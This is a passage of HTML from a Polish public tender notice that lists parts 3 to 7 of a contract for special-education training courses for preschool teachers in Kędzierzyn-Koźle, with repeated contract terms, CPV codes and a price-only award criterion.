class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Wyłącznie kryterium ceny </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">100</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 3</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> CZĘŚĆ NR 3<br/>„Kursy i szkolenia z pedagogiki specjalnej – TERAPEUTYCZNE (Artystyczne)”<br/>Szkolenia w ramach tej części: <br/>1.	Warsztaty arteterapeutyczne, szkolenie on-line;<br/>2.	Arteterapia w pracy indywidualnej z dzieckiem o specjalnych potrzebach edukacyjnych, szkolenie stacjonarne;<br/>3.	Muzykoterapia, szkolenie stacjonarne;<br/>4.	Bajkoterapia, szkolenie on-line.<br/><br/>1.	Przedmiotem zamówienia jest organizacja szkoleń podnoszących umiejętności nauczycieli przedszkolnych oraz ich wiedzę w zakresie prowadzenia procesu nauczania dzieci, w tym ze specjalnymi potrzebami edukacyjnymi. Zamówienie realizowane jest w ramach projektu pod nazwą „Podniesienie jakości edukacji przedszkolnej w Kędzierzynie-Koźlu. Etap II” współfinansowanego ze środków Europejskiego Funduszu Społecznego w ramach Regionalnego Programu Operacyjnego Województwa Opolskiego 2014-2020. <br/>2.	Szkolenia zgrupowane są następujących obszarach tematycznych: logopedycznym, terapeutycznym, integracyjnym oraz gimnastyki korekcyjnej i psychomotoryki<br/>3.	Szkolenia będą odbywać się w formie zajęć online oraz stacjonarnie (w tym przypadku przy zachowaniu wszystkich nałożonych prawem obowiązujących zaleceń sanitarno-epidemiologicznych) lub w formie łączonej. <br/>4.	W przypadku szkoleń odbywających się on-line Wykonawca zorganizuje je na platformie edukacyjnej, do której uczestnik szkolenia będzie miał bezpłatny dostęp. W przypadku szkoleń odbywających się w systemie stacjonarnym Wykonawca zobowiązany jest zabezpieczyć odpowiednią salę szkoleniową w Kędzierzynie-Koźlu lub dla grup liczących od 1 do 2 uczestników w odległości nie większej niż 150 km od siedziby Zamawiającego. Wykonawca winien w takiej sytuacji wyposażyć uczestników w niezbędne środki ochrony osobistej oraz zadbać o odpowiednie dostosowanie sali do wymagań sanitarnych.<br/>5.	Szkolenia jednodniowe mogą być prowadzone od poniedziałku do piątku w godzinach 16.00 - 19.30.<br/>Szkolenia kilkudniowe mogą być prowadzone w systemie całodziennym w tygodniu (np. od 9.00 do 16.00) jedynie w sytuacji, gdy na szkolenie jest zgłoszony 1 nauczyciel z przedszkola. Jeżeli zgłoszonych jest więcej osób to szkolenie może się odbyć dopiero po godzinie 16.00.<br/>Szkolenia dwudniowe mogą rozpoczynać się w tygodniu po 16.00 i kończyć w dzień wolny od pracy ( np. piątek od godz. 16:00 oraz w sobotę 9:00 – 16:00)<br/>6.	Uczestnicy mogą brać udział w kilku częściach szkolenia. <br/>7.	Wykonawca zobowiązany jest ustalić szczegółowo termin szkolenia (daty szkoleń) z dyrektorem placówki z odpowiednim wyprzedzeniem.<br/>8.	Wykonawca wyposaży uczestników szkoleń w materiały/pomoce naukowe przydatne w prowadzonych zajęciach. Każdy z uczestników otrzyma po zakończeniu zajęć świadectwo (certyfikat, zaświadczenie) potwierdzające nabycie kompetencji/ ukończenie szkolenia. <br/>9.	Każda złożona „Oferta cenowa” musi zawierać całkowitą ryczałtową cenę brutto wykonania całości danej części przedmiotu zamówienia (z wskazaniem kwot za poszczególne szkolenia w ramach danej części) obejmującą: wynagrodzenie trenera, opracowanie programu szkolenia, udostępnienie platformy e-learningowej, wynajęcie sali (jeżeli dotyczy), koszt przygotowania/udostępnienia materiałów szkoleniowych, wydanie certyfikatów, zaświadczeń lub dyplomów ukończenia szkolenia. <br/>10.	Szczegółowy opis przedmiotu szkoleń, liczby godzin, liczby osób nimi objętymi, ujęty został w załączniku nr 6: Opis Przedmiotu Zamówienia. <br/>11.	Uwaga: Zakresy szkoleń zostały przygotowane poglądowo. Mogą one ulec modyfikacjom wynikającym z różnych poziomów wiedzy uczestników danego szkolenia lub potrzeby zgłoszonej w trakcie szkolenia (np. dot. poszerzania konkretnego zagadnienia tematycznego lub odstąpienia od jego omówienia). Wykonawca przez rozpoczęciem realizacji usługi przygotuje program szkolenia w oparciu o zadany temat i wskazaną liczbę godzin dydaktycznych, który stanowił będzie załącznik do umowy. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">80000000-4 - Usługi edukacyjne i szkoleniowe</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">80110000-8 - Usługi szkolnictwa przedszkolnego</p> <p class="mb-0">80420000-4 - Usługi e-learning</p> <p class="mb-0">80500000-9 - Usługi szkoleniowe</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-06-30</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Wyłącznie kryterium ceny </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">100</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 4</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> CZĘŚĆ NR 4<br/>Kursy i szkolenia z pedagogiki specjalnej – TERAPEUTYCZNE (Zachowania społeczne).<br/>Szkolenia w ramach tej części: <br/>1.	Teoria umysłu, szkolenie on-line;<br/>2.	Trening umiejętności społecznych dla dzieci w wieku przedszkolnym (TUS) - szkolenie certyfikowane nadające uprawnienia, szkolenie on-line;<br/>3.	Gimnastyka mózgu, szkolenie on-line.<br/><br/>1.	Przedmiotem zamówienia jest organizacja szkoleń podnoszących umiejętności nauczycieli przedszkolnych oraz ich wiedzę w zakresie prowadzenia procesu nauczania dzieci, w tym ze specjalnymi potrzebami edukacyjnymi. Zamówienie realizowane jest w ramach projektu pod nazwą „Podniesienie jakości edukacji przedszkolnej w Kędzierzynie-Koźlu. Etap II” współfinansowanego ze środków Europejskiego Funduszu Społecznego w ramach Regionalnego Programu Operacyjnego Województwa Opolskiego 2014-2020. <br/>2.	Szkolenia zgrupowane są następujących obszarach tematycznych: logopedycznym, terapeutycznym, integracyjnym oraz gimnastyki korekcyjnej i psychomotoryki<br/>3.	Szkolenia będą odbywać się w formie zajęć online oraz stacjonarnie (w tym przypadku przy zachowaniu wszystkich nałożonych prawem obowiązujących zaleceń sanitarno-epidemiologicznych) lub w formie łączonej. <br/>4.	W przypadku szkoleń odbywających się on-line Wykonawca zorganizuje je na platformie edukacyjnej, do której uczestnik szkolenia będzie miał bezpłatny dostęp. W przypadku szkoleń odbywających się w systemie stacjonarnym Wykonawca zobowiązany jest zabezpieczyć odpowiednią salę szkoleniową w Kędzierzynie-Koźlu lub dla grup liczących od 1 do 2 uczestników w odległości nie większej niż 150 km od siedziby Zamawiającego. Wykonawca winien w takiej sytuacji wyposażyć uczestników w niezbędne środki ochrony osobistej oraz zadbać o odpowiednie dostosowanie sali do wymagań sanitarnych.<br/>5.	Szkolenia jednodniowe mogą być prowadzone od poniedziałku do piątku w godzinach 16.00 - 19.30.<br/>Szkolenia kilkudniowe mogą być prowadzone w systemie całodziennym w tygodniu (np. od 9.00 do 16.00) jedynie w sytuacji, gdy na szkolenie jest zgłoszony 1 nauczyciel z przedszkola. Jeżeli zgłoszonych jest więcej osób to szkolenie może się odbyć dopiero po godzinie 16.00.<br/>Szkolenia dwudniowe mogą rozpoczynać się w tygodniu po 16.00 i kończyć w dzień wolny od pracy ( np. piątek od godz. 16:00 oraz w sobotę 9:00 – 16:00)<br/>6.	Uczestnicy mogą brać udział w kilku częściach szkolenia. <br/>7.	Wykonawca zobowiązany jest ustalić szczegółowo termin szkolenia (daty szkoleń) z dyrektorem pla-cówki z odpowiednim wyprzedzeniem.<br/>8.	Wykonawca wyposaży uczestników szkoleń w materiały/pomoce naukowe przydatne w prowadzonych zajęciach. Każdy z uczestników otrzyma po zakończeniu zajęć świadectwo (certyfikat, zaświadczenie) potwierdzające nabycie kompetencji/ ukończenie szkolenia. <br/>9.	Każda złożona „Oferta cenowa” musi zawierać całkowitą ryczałtową cenę brutto wykonania całości danej części przedmiotu zamówienia (z wskazaniem kwot za poszczególne szkolenia w ramach danej części) obejmującą: wynagrodzenie trenera, opracowanie programu szkolenia, udostępnienie platformy e-learningowej, wynajęcie sali (jeżeli dotyczy), koszt przygotowania/udostępnienia materiałów szkoleniowych, wydanie certyfikatów, zaświadczeń lub dyplomów ukończenia szkolenia. <br/>10.	Szczegółowy opis przedmiotu szkoleń, liczby godzin, liczby osób nimi objętymi, ujęty został w załączniku nr 6: Opis Przedmiotu Zamówienia. <br/>11.	Uwaga: Zakresy szkoleń zostały przygotowane poglądowo. Mogą one ulec modyfikacjom wynikającym z różnych poziomów wiedzy uczestników danego szkolenia lub potrzeby zgłoszonej w trakcie szkolenia (np. dot. poszerzania konkretnego zagadnienia tematycznego lub odstąpienia od jego omówienia). Wykonawca przez rozpoczęciem realizacji usługi przygotuje program szkolenia w oparciu o zadany temat i wskazaną liczbę godzin dydaktycznych, który stanowił będzie załącznik do umowy. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">80000000-4 - Usługi edukacyjne i szkoleniowe</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">80110000-8 - Usługi szkolnictwa przedszkolnego</p> <p class="mb-0">80420000-4 - Usługi e-learning</p> <p class="mb-0">80500000-9 - Usługi szkoleniowe</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-06-30</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Wyłącznie kryterium ceny </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">100</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 5</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> CZĘŚĆ NR 5<br/>Kursy i szkolenia z pedagogiki specjalnej – INTEGRACYJNE (Diagnoza). <br/>Szkolenia w ramach tej części: <br/>1.	Wczesna diagnoza i terapia zaburzeń autystycznych, szkolenie on-line;<br/>2.	Diagnoza Profilu Psychoedukacyjnego (PEP-R) E. Schoplera, szkolenie on-line.<br/><br/>1.	Przedmiotem zamówienia jest organizacja szkoleń podnoszących umiejętności nauczycieli przedszkolnych oraz ich wiedzę w zakresie prowadzenia procesu nauczania dzieci, w tym ze specjalnymi potrzebami edukacyjnymi. Zamówienie realizowane jest w ramach projektu pod nazwą „Podniesienie jakości edukacji przedszkolnej w Kędzierzynie-Koźlu. Etap II” współfinansowanego ze środków Europejskiego Funduszu Społecznego w ramach Regionalnego Programu Operacyjnego Województwa Opolskiego 2014-2020. <br/>2.	Szkolenia zgrupowane są następujących obszarach tematycznych: logopedycznym, terapeutycznym, integracyjnym oraz gimnastyki korekcyjnej i psychomotoryki<br/>3.	Szkolenia będą odbywać się w formie zajęć online oraz stacjonarnie (w tym przypadku przy zachowaniu wszystkich nałożonych prawem obowiązujących zaleceń sanitarno-epidemiologicznych) lub w formie łączonej. <br/>4.	W przypadku szkoleń odbywających się on-line Wykonawca zorganizuje je na platformie edukacyjnej, do której uczestnik szkolenia będzie miał bezpłatny dostęp. W przypadku szkoleń odbywających się w systemie stacjonarnym Wykonawca zobowiązany jest zabezpieczyć odpowiednią salę szkoleniową w Kędzierzynie-Koźlu lub dla grup liczących od 1 do 2 uczestników w odległości nie większej niż 150 km od siedziby Zamawiającego. Wykonawca winien w takiej sytuacji wyposażyć uczestników w niezbędne środki ochrony osobistej oraz zadbać o odpowiednie dostosowanie sali do wymagań sanitarnych.<br/>5.	Szkolenia jednodniowe mogą być prowadzone od poniedziałku do piątku w godzinach 16.00 - 19.30.<br/>Szkolenia kilkudniowe mogą być prowadzone w systemie całodziennym w tygodniu (np. od 9.00 do 16.00) jedynie w sytuacji, gdy na szkolenie jest zgłoszony 1 nauczyciel z przedszkola. Jeżeli zgłoszonych jest więcej osób to szkolenie może się odbyć dopiero po godzinie 16.00.<br/>Szkolenia dwudniowe mogą rozpoczynać się w tygodniu po 16.00 i kończyć w dzień wolny od pracy ( np. piątek od godz. 16:00 oraz w sobotę 9:00 – 16:00)<br/>6.	Uczestnicy mogą brać udział w kilku częściach szkolenia. <br/>7.	Wykonawca zobowiązany jest ustalić szczegółowo termin szkolenia (daty szkoleń) z dyrektorem pla-cówki z odpowiednim wyprzedzeniem.<br/>8.	Wykonawca wyposaży uczestników szkoleń w materiały/pomoce naukowe przydatne w prowadzonych zajęciach. Każdy z uczestników otrzyma po zakończeniu zajęć świadectwo (certyfikat, zaświadczenie) potwierdzające nabycie kompetencji/ ukończenie szkolenia. <br/>9.	Każda złożona „Oferta cenowa” musi zawierać całkowitą ryczałtową cenę brutto wykonania całości danej części przedmiotu zamówienia (z wskazaniem kwot za poszczególne szkolenia w ramach danej części) obejmującą: wynagrodzenie trenera, opracowanie programu szkolenia, udostępnienie platformy e-learningowej, wynajęcie sali (jeżeli dotyczy), koszt przygotowania/udostępnienia materiałów szkoleniowych, wydanie certyfikatów, zaświadczeń lub dyplomów ukończenia szkolenia. <br/>10.	Szczegółowy opis przedmiotu szkoleń, liczby godzin, liczby osób nimi objętymi, ujęty został w załączniku nr 6: Opis Przedmiotu Zamówienia. <br/>11.	Uwaga: Zakresy szkoleń zostały przygotowane poglądowo. Mogą one ulec modyfikacjom wynikającym z różnych poziomów wiedzy uczestników danego szkolenia lub potrzeby zgłoszonej w trakcie szkolenia (np. dot. poszerzania konkretnego zagadnienia tematycznego lub odstąpienia od jego omówienia). Wykonawca przez rozpoczęciem realizacji usługi przygotuje program szkolenia w oparciu o zadany temat i wskazaną liczbę godzin dydaktycznych, który stanowił będzie załącznik do umowy. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">80000000-4 - Usługi edukacyjne i szkoleniowe</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">80110000-8 - Usługi szkolnictwa przedszkolnego</p> <p class="mb-0">80420000-4 - Usługi e-learning</p> <p class="mb-0">80500000-9 - Usługi szkoleniowe</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-06-30</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Wyłącznie kryterium ceny </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">100</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 6</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> CZĘŚĆ NR 6<br/>Kursy i szkolenia z pedagogiki specjalnej – INTEGRACYJNE (Spektrum Autyzmu/Zespół Aspergera)<br/>Szkolenia w ramach tej części: <br/>1.	Dziecko z autyzmem i Zespołem Aspergera w przedszkolu, szkolenie on-line;<br/>2.	Zasady i metody pracy rehabilitacyjnej i rewalidacyjnej z osobami z autyzmem i zespołem Aspergera, szkolenie on-line;<br/>3.	Trening jedzenia – szkolenie dla osób pracujących z dziećmi autystycznymi, szkolenie stacjonarne;<br/>4.	Wspieranie samodzielności dziecka ze spektrum autyzmu, szkolenie on-line;<br/>5.	Nauczyciel wspomagający - praca z dzieckiem z Zespołem Aspergera, autyzmem oraz niepełnosprawnością sprzężoną, szkolenie on-line;<br/>6.	Efektywna praca zespołu nauczycieli i specjalistów w zakresie planowania i realizowania pracy z uczniami niepełnosprawnymi, szkolenie on-line.<br/><br/>1.	Przedmiotem zamówienia jest organizacja szkoleń podnoszących umiejętności nauczycieli przedszkolnych oraz ich wiedzę w zakresie prowadzenia procesu nauczania dzieci, w tym ze specjalnymi potrzebami edukacyjnymi. Zamówienie realizowane jest w ramach projektu pod nazwą „Podniesienie jakości edukacji przedszkolnej w Kędzierzynie-Koźlu. Etap II” współfinansowanego ze środków Europejskiego Funduszu Społecznego w ramach Regionalnego Programu Operacyjnego Województwa Opolskiego 2014-2020. <br/>2.	Szkolenia zgrupowane są następujących obszarach tematycznych: logopedycznym, terapeutycznym, integracyjnym oraz gimnastyki korekcyjnej i psychomotoryki<br/>3.	Szkolenia będą odbywać się w formie zajęć online oraz stacjonarnie (w tym przypadku przy zachowaniu wszystkich nałożonych prawem obowiązujących zaleceń sanitarno-epidemiologicznych) lub w formie łączonej. <br/>4.	W przypadku szkoleń odbywających się on-line Wykonawca zorganizuje je na platformie edukacyjnej, do której uczestnik szkolenia będzie miał bezpłatny dostęp. W przypadku szkoleń odbywających się w systemie stacjonarnym Wykonawca zobowiązany jest zabezpieczyć odpowiednią salę szkoleniową w Kędzierzynie-Koźlu lub dla grup liczących od 1 do 2 uczestników w odległości nie większej niż 150 km od siedziby Zamawiającego. Wykonawca winien w takiej sytuacji wyposażyć uczestników w niezbędne środki ochrony osobistej oraz zadbać o odpowiednie dostosowanie sali do wymagań sanitarnych.<br/>5.	Szkolenia jednodniowe mogą być prowadzone od poniedziałku do piątku w godzinach 16.00 - 19.30.<br/>Szkolenia kilkudniowe mogą być prowadzone w systemie całodziennym w tygodniu (np. od 9.00 do 16.00) jedynie w sytuacji, gdy na szkolenie jest zgłoszony 1 nauczyciel z przedszkola. Jeżeli zgłoszonych jest więcej osób to szkolenie może się odbyć dopiero po godzinie 16.00.<br/>Szkolenia dwudniowe mogą rozpoczynać się w tygodniu po 16.00 i kończyć w dzień wolny od pracy ( np. piątek od godz. 16:00 oraz w sobotę 9:00 – 16:00)<br/>6.	Uczestnicy mogą brać udział w kilku częściach szkolenia. <br/>7.	Wykonawca zobowiązany jest ustalić szczegółowo termin szkolenia (daty szkoleń) z dyrektorem pla-cówki z odpowiednim wyprzedzeniem.<br/>8.	Wykonawca wyposaży uczestników szkoleń w materiały/pomoce naukowe przydatne w prowadzonych zajęciach. Każdy z uczestników otrzyma po zakończeniu zajęć świadectwo (certyfikat, zaświadczenie) potwierdzające nabycie kompetencji/ ukończenie szkolenia. <br/>9.	Każda złożona „Oferta cenowa” musi zawierać całkowitą ryczałtową cenę brutto wykonania całości danej części przedmiotu zamówienia (z wskazaniem kwot za poszczególne szkolenia w ramach danej części) obejmującą: wynagrodzenie trenera, opracowanie programu szkolenia, udostępnienie platformy e-learningowej, wynajęcie sali (jeżeli dotyczy), koszt przygotowania/udostępnienia materiałów szkoleniowych, wydanie certyfikatów, zaświadczeń lub dyplomów ukończenia szkolenia. <br/>10.	Szczegółowy opis przedmiotu szkoleń, liczby godzin, liczby osób nimi objętymi, ujęty został w załączniku nr 6: Opis Przedmiotu Zamówienia. <br/>11.	Uwaga: Zakresy szkoleń zostały przygotowane poglądowo. Mogą one ulec modyfikacjom wynikającym z różnych poziomów wiedzy uczestników danego szkolenia lub potrzeby zgłoszonej w trakcie szkolenia (np. dot. poszerzania konkretnego zagadnienia tematycznego lub odstąpienia od jego omówienia). Wykonawca przez rozpoczęciem realizacji usługi przygotuje program szkolenia w oparciu o zadany temat i wskazaną liczbę godzin dydaktycznych, który stanowił będzie załącznik do umowy. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">80000000-4 - Usługi edukacyjne i szkoleniowe</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">80110000-8 - Usługi szkolnictwa przedszkolnego</p> <p class="mb-0">80420000-4 - Usługi e-learning</p> <p class="mb-0">80500000-9 - Usługi szkoleniowe</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-06-30</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Wyłącznie kryterium ceny </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">100</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 7</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> CZĘŚĆ NR 7<br/>Kursy i szkolenia z pedagogiki specjalnej – INTEGRACYJNE (Komunikacja). <br/>Szkolenia w ramach tej części: <br/>1.	Komunikacja alternatywna i wspomagająca (ACC), szkolenie stacjonarne;<br/>2.	Nauka mowy i komunikacji u dzieci ze spektrum autyzmu, szkolenie stacjonarne;<br/>3.	Trening bazowych umiejętności związanych z komunikacją dzieci z trudnościami w zakresie funkcji wzrokowych, słuchowych, mowy, szkolenie stacjonarne.<br/><br/>1.	Przedmiotem zamówienia jest organizacja szkoleń podnoszących umiejętności nauczycieli przedszkolnych oraz ich wiedzę w zakresie prowadzenia procesu nauczania dzieci, w tym ze specjalnymi potrzebami edukacyjnymi. Zamówienie realizowane jest w ramach projektu pod nazwą „Podniesienie jakości edukacji przedszkolnej w Kędzierzynie-Koźlu. Etap II” współfinansowanego ze środków Europejskiego Funduszu Społecznego w ramach Regionalnego Programu Operacyjnego Województwa Opolskiego 2014-2020. <br/>2.	Szkolenia zgrupowane są następujących obszarach tematycznych: logopedycznym, terapeutycznym, integracyjnym oraz gimnastyki korekcyjnej i psychomotoryki<br/>3.	Szkolenia będą odbywać się w formie zajęć online oraz stacjonarnie (w tym przypadku przy zachowaniu wszystkich nałożonych prawem obowiązujących zaleceń sanitarno-epidemiologicznych) lub w formie łączonej. <br/>4.	W przypadku szkoleń odbywających się on-line Wykonawca zorganizuje je na platformie edukacyjnej, do której uczestnik szkolenia będzie miał bezpłatny dostęp. W przypadku szkoleń odbywających się w systemie stacjonarnym Wykonawca zobowiązany jest zabezpieczyć odpowiednią salę szkoleniową w Kędzierzynie-Koźlu lub dla grup liczących od 1 do 2 uczestników w odległości nie większej niż 150 km od siedziby Zamawiającego. Wykonawca winien w takiej sytuacji wyposażyć uczestników w niezbędne środki ochrony osobistej oraz zadbać o odpowiednie dostosowanie sali do wymagań sanitarnych.<br/>5.	Szkolenia jednodniowe mogą być prowadzone od poniedziałku do piątku w godzinach 16.00 - 19.30.<br/>Szkolenia kilkudniowe mogą być prowadzone w systemie całodziennym w tygodniu (np. od 9.00 do 16.00) jedynie w sytuacji, gdy na szkolenie jest zgłoszony 1 nauczyciel z przedszkola. Jeżeli zgłoszonych jest więcej osób to szkolenie może się odbyć dopiero po godzinie 16.00.<br/>Szkolenia dwudniowe mogą rozpoczynać się w tygodniu po 16.00 i kończyć w dzień wolny od pracy ( np. piątek od godz. 16:00 oraz w sobotę 9:00 – 16:00)<br/>6.	Uczestnicy mogą brać udział w kilku częściach szkolenia. <br/>7.	Wykonawca zobowiązany jest ustalić szczegółowo termin szkolenia (daty szkoleń) z dyrektorem pla-cówki z odpowiednim wyprzedzeniem.<br/>8.	Wykonawca wyposaży uczestników szkoleń w materiały/pomoce naukowe przydatne w prowadzonych zajęciach. Każdy z uczestników otrzyma po zakończeniu zajęć świadectwo (certyfikat, zaświadczenie) potwierdzające nabycie kompetencji/ ukończenie szkolenia. <br/>9.	Każda złożona „Oferta cenowa” musi zawierać całkowitą ryczałtową cenę brutto wykonania całości danej części przedmiotu zamówienia (z wskazaniem kwot za poszczególne szkolenia w ramach danej części) obejmującą: wynagrodzenie trenera, opracowanie programu szkolenia, udostępnienie platformy e-learningowej, wynajęcie sali (jeżeli dotyczy), koszt przygotowania/udostępnienia materiałów szkoleniowych, wydanie certyfikatów, zaświadczeń lub dyplomów ukończenia szkolenia. <br/>10.	Szczegółowy opis przedmiotu szkoleń, liczby godzin, liczby osób nimi objętymi, ujęty został w załączniku nr 6: Opis Przedmiotu Zamówienia. <br/>11.	Uwaga: Zakresy szkoleń zostały przygotowane poglądowo. Mogą one ulec modyfikacjom wynikającym z różnych poziomów wiedzy uczestników danego szkolenia lub potrzeby zgłoszonej w trakcie szkolenia (np. dot. poszerzania konkretnego zagadnienia tematycznego lub odstąpienia od jego omówienia). Wykonawca przez rozpoczęciem realizacji usługi przygotuje program szkolenia w oparciu o zadany temat i wskazaną liczbę godzin dydaktycznych, który stanowił będzie załącznik do umowy. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">80000000-4 - Usługi edukacyjne i szkoleniowe</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">80110000-8 - Usługi szkolnictwa przedszkolnego</p> <p class="mb-0">80420000-4 - Usługi e-learning</p> <p class="mb-0">80500000-9 - Usługi szkoleniowe</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-06-30</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Wyłącznie kryterium ceny </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">100</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia 